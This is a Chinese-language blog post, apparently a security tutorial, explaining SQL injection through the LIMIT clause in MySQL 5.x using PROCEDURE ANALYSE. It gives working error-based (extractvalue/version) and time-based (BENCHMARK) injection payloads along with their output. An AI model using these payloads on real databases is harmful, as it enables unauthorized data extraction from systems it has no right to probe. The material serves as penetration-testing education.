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SQL Injections in MySQL LIMIT clause

2016年03月12日 11:30 汪洋大海 暂无评论 阅读 597 views 次

此方法适用于MySQL 5.x中,在limit语句后面的注入

例如:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point

上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法:

SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢?

Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好,继续尝试:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

但是立即返回了一个错误信息:

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行,需要用BENCHMARK代替。

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